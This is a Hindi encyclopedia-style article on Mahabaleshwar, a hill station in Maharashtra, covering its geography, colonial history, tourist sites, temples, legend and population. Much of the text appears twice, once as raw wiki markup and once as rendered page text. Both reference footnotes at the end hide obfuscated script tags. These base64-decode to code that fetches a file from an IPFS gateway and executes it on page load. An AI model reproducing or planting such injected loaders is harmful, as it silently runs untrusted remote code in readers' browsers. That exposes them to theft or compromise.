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सैरगाह नगर, दक्षिण-पश्चिम [[महाराष्ट्र]] राज्य, पश्चिम [[भारत]] में स्थित है। महाबलेश्वर [[मुम्बई]] (भूतपूर्व बंबई) से 64 किलोमीटर दक्षिण-पूर्व में और सतारा नगर के पश्चिमोत्तर में पश्चिमी घाट की सह्याद्रि पहाड़ियों में 1,438 मीटर की ऊँचाई पर अवस्थित है। महाबलेश्वर नगर ऊँची कगार वाली पहाड़ियों की ढलान से तटीय कोंकण मैदान का मनोरम दृश्य प्रस्तुत करता है। समशीतोष्ण क्षेत्र के स्ट्रॉबेरी और अन्य फल यहाँ उगाए जाते हैं। निकटस्थ पंचगनी अपने पब्लिक स्कूलों, फलों के परिरक्षण और प्रसंस्करण उद्योग के लिए विख्यात है।  
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सैरगाह नगर महाबलेश्वर, दक्षिण-पश्चिम [[महाराष्ट्र]] राज्य, पश्चिम [[भारत]] में स्थित है। महाबलेश्वर [[मुम्बई]] (भूतपूर्व बंबई) से 64 किलोमीटर दक्षिण-पूर्व में और सतारा नगर के पश्चिमोत्तर में पश्चिमी घाट की सह्याद्रि पहाड़ियों में 1,438 मीटर की ऊँचाई पर अवस्थित है। महाबलेश्वर नगर ऊँची कगार वाली पहाड़ियों की ढलान से तटीय कोंकण मैदान का मनोरम दृश्य प्रस्तुत करता है। समशीतोष्ण क्षेत्र के स्ट्रॉबेरी और अन्य फल यहाँ उगाए जाते हैं। निकटस्थ [[पंचगनी]] अपने पब्लिक स्कूलों, फलों के परिरक्षण और प्रसंस्करण उद्योग के लिए विख्यात है।  
  
 
==इतिहास==
 
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*प्राचीनकाल में [[कृष्णा नदी]] और इसकी चार मुख्य सहायक धाराओं के उद्गम स्थल के रूप में मान्यता प्राप्त इस स्थान को [[हिन्दू|हिन्दुओं]] द्वारा तीर्थस्थल माना जाता है। इस नगर के पुराने हिस्से में अधिकांशतः [[ब्राह्मण]] रहते हैं, जिनकी आजीविका तीर्थयात्रियों पर निर्भर करती है।
 
*प्राचीनकाल में [[कृष्णा नदी]] और इसकी चार मुख्य सहायक धाराओं के उद्गम स्थल के रूप में मान्यता प्राप्त इस स्थान को [[हिन्दू|हिन्दुओं]] द्वारा तीर्थस्थल माना जाता है। इस नगर के पुराने हिस्से में अधिकांशतः [[ब्राह्मण]] रहते हैं, जिनकी आजीविका तीर्थयात्रियों पर निर्भर करती है।
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*[[अंग्रेज़|अंग्रेज़ों]] ने इस क्षेत्र की संभावनाओं का पता लगाया और 1828 में पर्वतीय स्थल के रूप में आधुनिक नगर की स्थापना की थी। पहले यह ब्रिटिश [[ईस्ट इंडिया कम्पनी]] के गवर्नर के नाम पर मैलकमपेथ कहलाता था।
 
*[[अंग्रेज़|अंग्रेज़ों]] ने इस क्षेत्र की संभावनाओं का पता लगाया और 1828 में पर्वतीय स्थल के रूप में आधुनिक नगर की स्थापना की थी। पहले यह ब्रिटिश [[ईस्ट इंडिया कम्पनी]] के गवर्नर के नाम पर मैलकमपेथ कहलाता था।
  
 
==पर्यटन==
 
==पर्यटन==
ऊँची चोटियाँ, भय पैदा करने वाले घाटियाँ, चटक हरियाली, ठण्‍डी पर्वतीय हवा, महाबलेश्‍वर की विशेषता है। यह महाराष्‍ट्र का सर्वाधिक लोकप्रिय पर्वतीय स्‍थान है और एक समय ब्रिटिश राज के दौरान यह बॉम्‍बे प्रेसीडेंसी की ग्रीष्‍मकालीन राजधानी हुआ करता था। महाबलेश्‍वर में अनेक दर्शनीय स्‍थल हैं और प्रत्‍येक स्‍थल की एक अनोखी विशेषता है। बे‍बिंगटन पॉइंट की ओर जाते हुए धूम नामक बांध जो रूकने के लिए एक अच्‍छा स्‍थान है। अथवा आप पुराने महाबलेश्‍वर और प्रसिद्ध पंच गंगा मंदिर जा सकते हैं, जहाँ पांच नदियों का झरना है: कोयना, वैना, सावित्री, गायित्री और पवित्र कृष्‍णा नदी। यहाँ महाबलेश्‍वर का प्रसिद्ध मंदिर भी है, जहाँ स्‍वयं भू लिंग स्‍थापित है।<ref>{{cite web |url=http://bharat.gov.in/citizen/tourism_maharashtra.php |title=महाराष्‍ट्र |accessmonthday=[[19 फ़रवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=आधिकारिक वेबासाइट भारत |language=[[हिन्दी]] }}</ref>
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ऊँची चोटियाँ, भय पैदा करने वाले घाटियाँ, चटक हरियाली, ठण्‍डी पर्वतीय हवा, महाबलेश्‍वर की विशेषता हैं। यह महाराष्‍ट्र का सर्वाधिक लोकप्रिय पर्वतीय स्‍थान है और एक समय ब्रिटिश राज के दौरान यह बॉम्‍बे प्रेसीडेंसी की ग्रीष्‍मकालीन राजधानी हुआ करता था। महाबलेश्‍वर में अनेक दर्शनीय स्‍थल हैं और प्रत्‍येक स्‍थल की एक अनोखी विशेषता है। बे‍बिंगटन पॉइंट की ओर जाते हुए धूम नामक बांध जो रूकने के लिए एक अच्‍छा स्‍थान है। अथवा आप पुराने महाबलेश्‍वर और प्रसिद्ध पंच गंगा मंदिर जा सकते हैं, जहाँ पांच नदियों का झरना है: कोयना, वैना, सावित्री, गायित्री और पवित्र कृष्‍णा नदी। यहाँ महाबलेश्‍वर का प्रसिद्ध मंदिर भी है, जहाँ स्‍वयं भू लिंग स्‍थापित है।<ref>{{cite web |url=http://bharat.gov.in/citizen/tourism_maharashtra.php |title=महाराष्‍ट्र |accessmonthday=[[19 फ़रवरी]] |accessyear=[[2011]] |last= |first= |authorlink= |format=पी.एच.पी |publisher=आधिकारिक वेबासाइट भारत |language=[[हिन्दी]] }}</ref>
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===महाबलेश्वर मंदिर===
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यहाँ महाबलेश्वर रूप से [[शिव|भगवान शिव]], अतिबलेश्वर रूप से [[विष्णु]] तथा कोटीश्वर रूप से [[ब्रह्मा|ब्रह्माजी]] स्थित हैं।
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महाबलेश्वर मंदिर में लिंग मूर्ति पर रुद्राक्ष के समान छिद्र हैं। ये [[जल]] से भरे रहते हैं। उनसे बराबर जल निकलता रहता है। उसी से पाँचों नदियाँ निकलती हैं। मूर्ति पर आवरण चढ़ाकर तब श्रृंगार करते हैं, जिससे वह भीग न जाय। मंदिर के बाहर कालभैरव मूर्ति है।
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===अन्य दर्शनीय स्थल===
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महाबलेश्वर के 3 मील की दूर एक वन में [[ब्रह्मा|ब्रह्माजी]] की यज्ञस्थली है। इसे ब्रह्मारण्य कहते हैं। यह वन भयावना है। यहाँ कृष्णाबाई का प्राचीन मंदिर है। उसके समीप बलभीम मंदिर में समर्थ रामदास स्वामी द्वारा स्थापित मारुति है। पास ही रुद्रेश्वर मंदिर, रुद्रतीर्थ, हंसतीर्थ, चक्रतीर्थ, पितृमुक्ति तीर्थ, मलापकर्ष तीर्थ आदि कई तीर्थ हैं। कृष्णाबाई मंदिर में ब्रह्मकुण्ड तीर्थ में पाँचों नदियों का प्रवाह आता है। इस कुण्ड का स्नान महापुण्यप्रद है।
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===पौराणिक कथा===
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ब्रह्मा, [[विष्णु]], [[शिव|महेश]] तीनों ने यहाँ तप किया था। ब्रह्मा के [[यज्ञ]] में अतिबल तथा महाबल नामक [[असुर|असुरों]] ने विघ्न डाला। अतिबल को भगवान विष्णु ने मारा। महाबल पुरुष द्वारा अवध्य था, अतः उसे देवी ने मारा<ref>{{पुस्तक संदर्भ |पुस्तक का नाम= हिन्दूओं के तीर्थ स्थान|लेखक= सुदर्शन सिंह 'चक्र'|अनुवादक= |आलोचक= |प्रकाशक=|संकलन=|संपादन=|पृष्ठ संख्या=187|url=}}</ref>।
 
==जनसंख्या==
 
==जनसंख्या==
 
2001 की जनगणना के अनुसार महाबलेश्वर शहर की जनसंख्या 12,736 है।  
 
2001 की जनगणना के अनुसार महाबलेश्वर शहर की जनसंख्या 12,736 है।  
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महाबलेश्वर
कनॉट पीक, महाबलेश्वर
विवरण महाबलेश्वर मुम्बई से 64 किलोमीटर दक्षिण-पूर्व में स्थित है।
राज्य महाराष्ट्र
ज़िला सतारा
भौगोलिक स्थिति उत्तर- 17°55′18″, पूर्व- 73°39′20″
मार्ग स्थिति महाबलेश्वर मुंबई से 247 किलोमीटर, पुणे से 120 किलोमीटर, औरंगाबाद से 348 किलोमीटर, पणजी से 430 किलोमीटर की दूरी पर स्थित है।
प्रसिद्धि स्ट्रॉबेरी और शहतूत
कब जाएँ महाबलेश्वर का मौसम पूरे साल मनोहर रहता है, इसलिए यहाँ किसी भी मौसम में जाया जा सकता है।
कैसे पहुँचें रेल, बस, टैक्सी
हवाई अड्डा पुणे हवाई अड्डा, महाबलेश्वर का निकटतम हवाई अड्डा है।
रेलवे स्टेशन सतारा रेलवे स्टेशन
बस अड्डा महाबलेश्वर का निकटतम बस अड्डा सतारा में है।
यातायात बस, टैक्सी, ऑटो-रिक्शा
क्या देखें महाबलेश्वर मंदिर, वेना झील, कनॉट पीक, विल्सन पॉइंट
कहाँ ठहरें होटल, अतिथि ग्रह, धर्मशाला
एस.टी.डी. कोड 02168
ए.टी.एम लगभग सभी
Map-icon.gif गूगल मानचित्र

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सैरगाह नगर महाबलेश्वर, दक्षिण-पश्चिम महाराष्ट्र राज्य, पश्चिम भारत में स्थित है। महाबलेश्वर मुम्बई (भूतपूर्व बंबई) से 64 किलोमीटर दक्षिण-पूर्व में और सतारा नगर के पश्चिमोत्तर में पश्चिमी घाट की सह्याद्रि पहाड़ियों में 1,438 मीटर की ऊँचाई पर अवस्थित है। महाबलेश्वर नगर ऊँची कगार वाली पहाड़ियों की ढलान से तटीय कोंकण मैदान का मनोरम दृश्य प्रस्तुत करता है। समशीतोष्ण क्षेत्र के स्ट्रॉबेरी और अन्य फल यहाँ उगाए जाते हैं। निकटस्थ पंचगनी अपने पब्लिक स्कूलों, फलों के परिरक्षण और प्रसंस्करण उद्योग के लिए विख्यात है।

इतिहास

  • प्राचीनकाल में कृष्णा नदी और इसकी चार मुख्य सहायक धाराओं के उद्गम स्थल के रूप में मान्यता प्राप्त इस स्थान को हिन्दुओं द्वारा तीर्थस्थल माना जाता है। इस नगर के पुराने हिस्से में अधिकांशतः ब्राह्मण रहते हैं, जिनकी आजीविका तीर्थयात्रियों पर निर्भर करती है।
  • अंग्रेज़ों ने इस क्षेत्र की संभावनाओं का पता लगाया और 1828 में पर्वतीय स्थल के रूप में आधुनिक नगर की स्थापना की थी। पहले यह ब्रिटिश ईस्ट इंडिया कम्पनी के गवर्नर के नाम पर मैलकमपेथ कहलाता था।

पर्यटन

ऊँची चोटियाँ, भय पैदा करने वाले घाटियाँ, चटक हरियाली, ठण्‍डी पर्वतीय हवा, महाबलेश्‍वर की विशेषता हैं। यह महाराष्‍ट्र का सर्वाधिक लोकप्रिय पर्वतीय स्‍थान है और एक समय ब्रिटिश राज के दौरान यह बॉम्‍बे प्रेसीडेंसी की ग्रीष्‍मकालीन राजधानी हुआ करता था। महाबलेश्‍वर में अनेक दर्शनीय स्‍थल हैं और प्रत्‍येक स्‍थल की एक अनोखी विशेषता है। बे‍बिंगटन पॉइंट की ओर जाते हुए धूम नामक बांध जो रूकने के लिए एक अच्‍छा स्‍थान है। अथवा आप पुराने महाबलेश्‍वर और प्रसिद्ध पंच गंगा मंदिर जा सकते हैं, जहाँ पांच नदियों का झरना है: कोयना, वैना, सावित्री, गायित्री और पवित्र कृष्‍णा नदी। यहाँ महाबलेश्‍वर का प्रसिद्ध मंदिर भी है, जहाँ स्‍वयं भू लिंग स्‍थापित है।[1]

महाबलेश्वर मंदिर

यहाँ महाबलेश्वर रूप से भगवान शिव, अतिबलेश्वर रूप से विष्णु तथा कोटीश्वर रूप से ब्रह्माजी स्थित हैं। महाबलेश्वर मंदिर में लिंग मूर्ति पर रुद्राक्ष के समान छिद्र हैं। ये जल से भरे रहते हैं। उनसे बराबर जल निकलता रहता है। उसी से पाँचों नदियाँ निकलती हैं। मूर्ति पर आवरण चढ़ाकर तब श्रृंगार करते हैं, जिससे वह भीग न जाय। मंदिर के बाहर कालभैरव मूर्ति है।

अन्य दर्शनीय स्थल

महाबलेश्वर के 3 मील की दूर एक वन में ब्रह्माजी की यज्ञस्थली है। इसे ब्रह्मारण्य कहते हैं। यह वन भयावना है। यहाँ कृष्णाबाई का प्राचीन मंदिर है। उसके समीप बलभीम मंदिर में समर्थ रामदास स्वामी द्वारा स्थापित मारुति है। पास ही रुद्रेश्वर मंदिर, रुद्रतीर्थ, हंसतीर्थ, चक्रतीर्थ, पितृमुक्ति तीर्थ, मलापकर्ष तीर्थ आदि कई तीर्थ हैं। कृष्णाबाई मंदिर में ब्रह्मकुण्ड तीर्थ में पाँचों नदियों का प्रवाह आता है। इस कुण्ड का स्नान महापुण्यप्रद है।

पौराणिक कथा

ब्रह्मा, विष्णु, महेश तीनों ने यहाँ तप किया था। ब्रह्मा के यज्ञ में अतिबल तथा महाबल नामक असुरों ने विघ्न डाला। अतिबल को भगवान विष्णु ने मारा। महाबल पुरुष द्वारा अवध्य था, अतः उसे देवी ने मारा[2]

जनसंख्या

2001 की जनगणना के अनुसार महाबलेश्वर शहर की जनसंख्या 12,736 है।

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वीथिका

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टीका टिप्पणी और संदर्भ

  1. महाराष्‍ट्र (हिन्दी) (पी.एच.पी) आधिकारिक वेबासाइट भारत। अभिगमन तिथि: 19 फ़रवरी, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. हिन्दूओं के तीर्थ स्थान |लेखक: सुदर्शन सिंह 'चक्र' |पृष्ठ संख्या: 187 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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